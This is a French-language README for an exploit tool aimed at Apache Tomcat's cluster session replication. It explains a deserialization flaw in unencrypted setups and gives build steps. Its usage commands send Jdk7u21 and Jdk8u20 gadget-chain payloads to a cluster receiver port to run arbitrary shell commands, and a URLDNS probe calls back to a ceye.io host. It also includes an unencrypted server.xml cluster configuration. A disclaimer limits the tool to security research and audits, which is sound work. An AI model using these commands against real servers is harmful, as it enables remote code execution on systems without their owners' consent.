
Lorsque Tomcat utilise sa propre fonction de synchronisation de session, une configuration non sécurisée (sans utilisation d'EncryptInterceptor) conduit à une vulnérabilité de désérialisation. En utilisant des paquets soigneusement conçus, il est possible d'attaquer les serveurs utilisant la fonction de synchronisation de session intégrée de Tomcat. PS : Ce n'est pas CVE-2020-9484 ; 9484 est une vulnérabilité de persistance de session, alors que celle-ci concerne la synchronisation de cluster de sessions !
L'outil est destiné uniquement à la recherche en sécurité et aux audits internes. Il est interdit de l'utiliser pour lancer des attaques illégales. L'utilisateur est responsable des conséquences.
Il s'agit d'une vulnérabilité de désérialisation existant lorsque Tomcat utilise la fonction de synchronisation de session intégrée avec une configuration non sécurisée (absence d'EncryptInterceptor). En construisant soigneusement des paquets de données, il est possible d'attaquer les serveurs utilisant la fonction de synchronisation de session intégrée de Tomcat.
Compilez d'abord le fichier JAR :
mvn clean compile assembly:assembly
Le fichier JAR généré se trouve dans le répertoire target.
Utilisation, exemple :
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
(dans conf/server.xml) :
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>